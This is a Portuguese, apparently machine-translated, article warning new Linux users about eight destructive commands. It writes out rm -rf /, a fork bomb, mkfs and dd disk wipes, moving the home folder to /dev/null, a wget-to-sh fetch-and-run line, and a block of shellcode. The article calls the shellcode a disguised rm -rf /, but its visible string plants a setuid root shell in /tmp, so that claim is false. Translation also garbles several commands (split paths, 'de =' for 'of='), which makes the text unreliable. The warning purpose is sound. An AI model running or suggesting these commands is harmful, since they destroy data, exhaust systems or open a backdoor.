8 comandos mortais que você nunca deve executar no Linux
Os comandos de terminal do Linux são poderosos, e o Linux não pedirá sua confirmação se você executar um comando que irá quebrar seu sistema. Não é incomum ver trolls on-line recomendando que novos usuários do Linux executem esses comandos como uma piada.
Aprender os comandos que você não deve executar pode ajudar a protegê-lo contra os trolls enquanto aumenta sua compreensão de como o Linux funciona. Este não é um guia exaustivo, e os comandos aqui podem ser remixados de várias maneiras.
Note que muitos destes comandos só serão perigosos se forem prefixados com sudo no Ubuntu - eles não funcionam de outra forma. Em outras distribuições Linux, a maioria dos comandos deve ser executada como root.
Crédito da Imagem: Caveira e Crossbones remixados de Jason Ford no Twitter
rm -rf / - Exclui tudo!
O comando rm -rf / exclui tudo o que for possível, incluindo arquivos no disco rígido e arquivos em dispositivos de mídia removíveis conectados. Esse comando é mais compreensível se for desmembrado:
rm - Remova os seguintes arquivos.
-rf - Execute rm recursivamente (exclua todos os arquivos e pastas dentro da pasta especificada) e force-remover todos os arquivos sem avisá-lo.
/ - Diz ao rm para iniciar no diretório raiz, que contém todos os arquivos no seu computador e todos os dispositivos de mídia montados, incluindo compartilhamentos de arquivos remotos e unidades removíveis.
O Linux terá todo o prazer em obedecer a este comando e excluir tudo sem avisar, portanto, tenha cuidado ao usá-lo! O comando rm também pode ser usado de outras formas perigosas - rm -rf ~ excluir todos os arquivos da sua pasta pessoal, enquanto rm -rf. * iria apagar todos os seus arquivos de configuração.
A lição: Cuidado com rm -rf.
Rm-rf disfarçado /
Aqui está outro trecho de código que está em toda a web:
char esp [] __attribute__ ((section (“. text”))) / * e.s.p
lançamento */
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
“Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ”;
Esta é a versão hexadecimal do rm -rf / - a execução desse comando eliminaria seus arquivos como se você tivesse executado rm -rf /.
A lição: Não execute comandos de aparência estranha, obviamente disfarçados, que você não entende.
: () : |: & ;: - Garfo Bomba
A linha a seguir é uma função bash simples, mas perigosa:
: () : |: & ;:
Essa linha curta define uma função de shell que cria novas cópias de si mesmo. O processo se replica continuamente, e suas cópias se replicam continuamente, ocupando rapidamente todo o tempo e a memória da CPU. Isso pode causar o congelamento do computador. É basicamente um ataque de negação de serviço.
A lição: As funções de bash são poderosas, mesmo as muito curtas.
Crédito da imagem: Dake on Wikimedia Commons
mkfs.ext4 / dev / sda1 - Formata um disco rígido
o mkfs.ext4 / dev / sda1 comando é simples de entender:
mkfs.ext4 - Crie um novo sistema de arquivos ext4 no seguinte dispositivo.
/ dev / sda1 - Especifica a primeira partição no primeiro disco rígido, que provavelmente está em uso.
Juntos, esse comando pode ser equivalente a executar o formato c: no Windows - ele limpará os arquivos da sua primeira partição e os substituirá por um novo sistema de arquivos..
Este comando pode vir em outras formas também - mkfs.ext3 / dev / sdb2 formaria a segunda partição no segundo disco rígido com o sistema de arquivos ext3.
A lição: Cuidado com os comandos em execução diretamente em dispositivos de disco rígido que começam com / dev / sd.
comando> / dev / sda - Escreve diretamente em um disco rígido
o comando> / dev / sda A linha funciona de maneira semelhante - ele executa um comando e envia a saída desse comando diretamente para o primeiro disco rígido, gravando os dados diretamente na unidade de disco rígido e danificando o sistema de arquivos..
comando - Execute um comando (pode ser qualquer comando).
> - Envie a saída do comando para o seguinte local.
/ dev / sda - Grave a saída do comando diretamente no dispositivo de disco rígido.
A lição: Como acima, tenha cuidado ao executar comandos que envolvem dispositivos de disco rígido que começam com / dev / sd.
dd if = / dev / random de = / dev / sda - Escreve lixo em um disco rígido
o dd if = / dev / random de = / dev / sda linha também irá obliterar os dados em um dos seus discos rígidos.
dd - Execute cópias de baixo nível de um local para outro.
if = / dev / random - Use / dev / random (dados aleatórios) como a entrada - você também pode ver locais como / dev / zero (zeros).
de = / dev / sda - Saída para o primeiro disco rígido, substituindo seu sistema de arquivos por dados aleatórios de lixo.
A lição: dd copia dados de um local para outro, o que pode ser perigoso se você estiver copiando diretamente para um dispositivo.
Crédito de imagem: Matt Rudge no Flickr
mv ~ / dev / null - Move seu diretório pessoal para um buraco negro
/ dev / null é outro local especial - mover algo para / dev / null é a mesma coisa que destruí-lo. Pense em / dev / null como um buraco negro. Essencialmente, mv ~ / dev / null envia todos os seus arquivos pessoais para um buraco negro.
mv - Mova o seguinte arquivo ou diretório para outro local.
~ - Representa toda a sua pasta pessoal.
/ dev / null - Mova sua pasta pessoal para / dev / null, destruindo todos os seus arquivos e excluindo as cópias originais.
A lição: O caracter ~ ~ representa a sua pasta home e mover coisas para / dev / null destrói-as.
wget http://example.com/something -O - | sh - transfere e executa um script
A linha acima faz o download de um script da web e o envia para sh, que executa o conteúdo do script. Isso pode ser perigoso se você não tiver certeza do que é o script ou se não confiar em sua origem - não execute scripts não confiáveis.
wget - Faz o download de um arquivo. (Você também pode ver o curl no lugar do wget.)
http://example.com/something - Baixe o arquivo deste local.
| - Pipe (enviar) a saída do comando wget (o arquivo que você baixou) diretamente para outro comando.
sh - Envie o arquivo para o comando sh, que o executa se for um script bash.
A lição: Não baixe e execute scripts não confiáveis da Web, mesmo com um comando.
Conhece outros comandos perigosos que novos (e experientes) usuários de Linux não devem executar? Deixe um comentário e compartilhe-os!